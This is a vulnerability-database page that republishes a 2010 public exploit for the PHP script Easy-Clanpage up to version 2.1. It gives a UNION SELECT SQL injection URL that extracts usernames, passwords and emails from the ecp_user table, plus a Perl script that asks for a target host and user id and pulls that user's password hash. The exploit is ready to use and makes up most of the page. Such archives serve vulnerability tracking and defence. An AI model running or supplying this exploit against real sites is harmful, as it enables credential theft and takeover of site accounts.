Lucene search
K

Easy-Clanpage <= 2.1 - SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

Easy-Clanpage v2.1 SQL Injection Exploit by Easy Laster on 30.03.2010 for free PHP script. Vulnerable to SQL Injection

Code

                                                /*----------------------------Information------------------------------------------------
+Name : Easy-Clanpage &#60;= v2.1 SQL Injection Exploit
+Author : Easy Laster
+Date   : 30.03.2010
+Script Easy-Clanpage &#60;= v2.1
+Download : Update Version 2.01-&#62;2.1 http://www.easy-clanpage.de
/?section=downloads&action=viewdl&id=16
+Price : for free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101.
*/ 
/*---------------------------------------------------------------------------------------
                                                                                      
 ___ ___ ___ ___                         _ _           _____           _         _  
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
 
 
----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/Easy-Clanpage/?section=gallery&action=kate&id=
 

#SQL Injection
+Exploitable   : http://www.site.com/Easy-Clanpage/?section=gallery&action=kate&id=1
+union+select+1,2,concat(username,0x3a,password,0x3a,email),4,5,6,7+from+ecp_user
+where+userid=1--
-----------------------------------------------------------------------------------------

+Exploit
*/

#!usr\bin\perl
#
#
##################################################
# Modules                                        #
#------------------------------------------------#     
use strict;               # Better coding.       #
use warnings;             # Useful warnings.     #
use LWP::Simple;          # procedureal interface#
##################################################
print &#34;
##################################################
#            4004-Security-Project               #
##################################################
#      Easy-Clanpage &#60;= v2.1 SQL Injection       #
#                   Exploit                      #
#            Using Host+Path+Userid              #
#          www.demo.de /easyclanpage/ 1          #
#                   Easy Laster                  #
##################################################
\a\n&#34;;
my($host,$path,$userid,$request);
my($first,$block,$error,$dir);
$block = &#34;
##################################################\n&#34;;
$error = &#34;Exploit failed&#34;;
  print &#34;$block&#34;;
    print q(Target www.demo.de-&#62;);
    chomp($host =&#60;STDIN&#62;);
    if ($host eq&#34;&#34;){
    die &#34;$error\a\n&#34;};
    print &#34;$block&#34;;
          print q(Path /path/ -&#62;);
          chomp($path =&#60;STDIN&#62;);
          if ($path eq&#34;&#34;){
          die &#34;$error\a\n&#34;;}
                 print &#34;$block&#34;;
                 print q(userid-&#62;);
                  chomp($userid =&#60;STDIN&#62;);
                      if ($userid eq&#34;&#34;){
                      die &#34;$error\a\n&#34;;}
                      print &#34;$block&#34;;
                         $dir = &#34;?section=gallery&action=kate&id=&#34;;
                         print &#34;&#60;~&#62; Exploiting...\n&#34;;
                         $host = &#34;http://&#34;.$host.$path;
                           print &#34;&#60;~&#62; Connecting...\n&#34;;
                           $request = get($host.$dir.&#34;1+union+select+1,2,concat(0x23,0x23,0x23,0x23,0x23,password),4,5,6,7+from+ecp_user+where+userid=&#34;.$userid.&#34;--&#34;);
                       $first = rindex($request,&#34;#####&#34;);
                       if ($first != -1)
                       {
               print &#34;&#60;~&#62; Exploiting...\n&#34;;
               print &#34;$block\n&#34;;
         $request = substr($request, $first+5, 32);
         print &#34;&#60;~&#62; Hash = $request\n\r\n\a&#34;;
       }
       else
     {
   print &#34;&#60;~&#62; $error&#34;;
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
23